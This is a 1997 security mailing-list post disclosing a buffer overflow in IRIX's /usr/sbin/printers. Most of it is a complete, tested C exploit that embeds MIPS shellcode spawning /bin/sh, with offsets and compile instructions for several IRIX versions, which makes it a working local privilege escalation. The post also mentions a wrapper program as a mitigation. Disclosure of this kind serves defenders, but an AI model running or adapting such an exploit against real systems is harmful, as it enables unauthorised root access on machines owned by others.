another day, another buffer overflow....

David Hedley (hedley@CS.BRIS.AC.UK)
Tue, 27 May 1997 13:18:23 +0100

/usr/sbin/printers is the culprit this time. I have a feeling there's
some common broken code in Irix (possibly in some shared library) as
this exploit is virtually identical to the iwsh one. Indeed,
/usr/bin/X11/xterm has the identical problem (exploit to follow later).

Exploit tested on Irix 5.x (R3000 & R4400), Irix64 6.2 (R8000), Irix 6.3
(R5000). For Irix 6.x you'll have to pass '4' as a parameter or change
the OFFSET to 0x184

I'll test Joe Zbiciak's wrapper program this evening and check that it
does indeed fix all these problems. I think it's going to be a rather
long time before SGI put out patches for all these broken programs so a
generic wrapper is the only solution as far as I can see.

Regards,

David

--
 David Hedley (hedley@cs.bris.ac.uk)
 finger hedley@cs.bris.ac.uk for PGP key
 Computer Graphics Group | University of Bristol | UK




/* /usr/sbin/printers.c exploit by DCRH 27/5/97
 *
 * Tested on: R3000 Indigo (Irix 5.3)
 *            R4400 Indy   (Irix 5.3)
 *            R8000 PChallenge (Irix64 6.2)
 *            R5000 O2 (Irix 6.3)
 *
 * Change the OFFSET to 0x184 or pass '4' as an argument for Irix 6.x
 *
 * compile as: cc printers.c (Irix 5.x)
 *             cc -n32 printers.c (Irix 6.x)
 */


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>


#define NUM_ADDRESSES   500
#define BUF_LENGTH      500
#define EXTRA           9000
#define OFFSET          0x180      /* 0x184 for Irix 6.x */
#define GP_OFFSET       -0x80
#define IRIX_NOP        0x03e0f825    /* move $ra,$ra */


#define u_long unsigned




u_long get_sp_code[] = {
    0x03a01025,         /* move $v0,$sp         */
    0x03e00008,         /* jr $ra               */
    0x00000000,         /* nop                  */
};


u_long irix_shellcode[] = {
    0x24041234,         /* li $4,0x1234         */
    0x2084edcc,         /* sub $4,0x1234        */
    0x0491fffe,         /* bgezal $4,pc-4       */
    0x03bd302a,         /* sgt $6,$sp,$sp       */
    0x03bd202a,         /* sgt $4,$sp,$sp       */
    0x240203ff,         /* li $v0,1023          */
    0x03ffffcc,         /* syscall 0xfffff      */
    0x23e40138,         /* addi $4,$31,264+48   */
    0xa086feff,         /* sb $6,-264+7($4)     */
    0x2084fef8,         /* sub $4,264           */
    0x20850110,         /* addi $5,$4,264+8     */
    0xaca4fef8,         /* sw $4,-264($5)       */
    0xaca6fefc,         /* sw $4,-260($5)       */
    0x20a5fef8,         /* sub $5, 264          */
    0x240203f3,         /* li $v0,1011          */
    0x03ffffcc,         /* syscall 0xfffff      */
    0x2f62696e,         /* "/bin"               */
    0x2f7368ff,         /* "/sh"                */
};


char buf[NUM_ADDRESSES+BUF_LENGTH + EXTRA + 8];


void main(int argc, char **argv)
{
    char *env[] = {NULL};
    u_long targ_addr, stack, tmp;
    u_long *long_p;
    int i, code_length = strlen((char *)irix_shellcode)+1;
    u_long (*get_sp)(void) = (u_long (*)(void))get_sp_code;


    stack = get_sp();


    if (stack & 0x80000000) {
        printf("Recompile with the '-32' option\n");
        exit(1);
    }


    long_p =(u_long *)  buf;
    targ_addr = stack + OFFSET;


    if (argc > 1)
        targ_addr += atoi(argv[1]);


    tmp = (targ_addr + NUM_ADDRESSES + (BUF_LENGTH-code_length)/2) & ~3;


    while ((tmp & 0xff000000) == 0 ||
           (tmp & 0x00ff0000) == 0 ||
           (tmp & 0x0000ff00) == 0 ||
           (tmp & 0x000000ff) == 0)
        tmp += 4;


    for (i = 0; i < NUM_ADDRESSES/(4*sizeof(u_long)); i++) {
        *long_p++ = tmp;
        *long_p++ = tmp;
        *long_p++ = targ_addr;
        *long_p++ = targ_addr;
    }


    for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
        *long_p++ = IRIX_NOP;


    for (i = 0; i < code_length/sizeof(u_long); i++)
        *long_p++ = irix_shellcode[i];


    tmp = (targ_addr + GP_OFFSET + NUM_ADDRESSES/2) & ~3;


    for (i = 0; i < EXTRA / sizeof(u_long); i++)
        *long_p++ = (tmp >> 8) | (tmp << 24);


    *long_p = 0;


    printf("stack = 0x%x, targ_addr = 0x%x\n", stack, targ_addr);


    execle("/usr/sbin/printers", "printers", "-xrm", &buf[2], 0, env);
    perror("execl failed");
}